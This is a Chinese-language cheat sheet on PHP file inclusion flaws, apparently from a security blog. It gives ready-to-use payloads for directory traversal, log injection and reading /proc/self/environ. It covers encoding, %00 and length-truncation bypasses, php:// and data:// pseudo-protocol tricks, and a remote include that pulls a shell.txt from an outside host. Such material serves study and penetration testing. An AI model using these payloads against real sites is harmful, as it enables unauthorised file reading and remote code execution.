文件包含介绍

本地文件包含

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?> 考虑常用的几种包含方式为

  • 同目录包含file=.htaccess
  • 目录遍历?file=.../.../.../.../.../.../.../.../.../var/lib/locate.db
  • 日志注入?file=.../.../.../.../.../.../.../.../.../var/log/apache/error.log
  • 利用/proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

远程文件包含

触发Sink编辑

如 PHP中:

include

在包含过程中出错会报错,不影响执行后续语句

include_once

仅包含一次

require

在包含过程中出错,就会直接退出,不执行后续语句

require_once

绕过技巧编辑

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ?* 等
  • url中 使用 ?# 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。 msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。 获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255 那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉 在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过

  • 远程包含: 要求 allow_url_fopen=On且 allow_url_include=On , payload为 ?file=[http|https|ftp]😕/websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=的形式,要求 allow_url_include=On

协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

相关推荐
DevSecOps选型指南32 分钟前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
恰薯条的屑海鸥43 分钟前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
网安INF3 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_3 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
李枫月6 小时前
Server2003 B-1 Windows操作系统渗透
网络安全·环境解析·server2003
上海云盾第一敬业销售9 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全
饮长安千年月9 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
淡水猫.10 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei11 小时前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全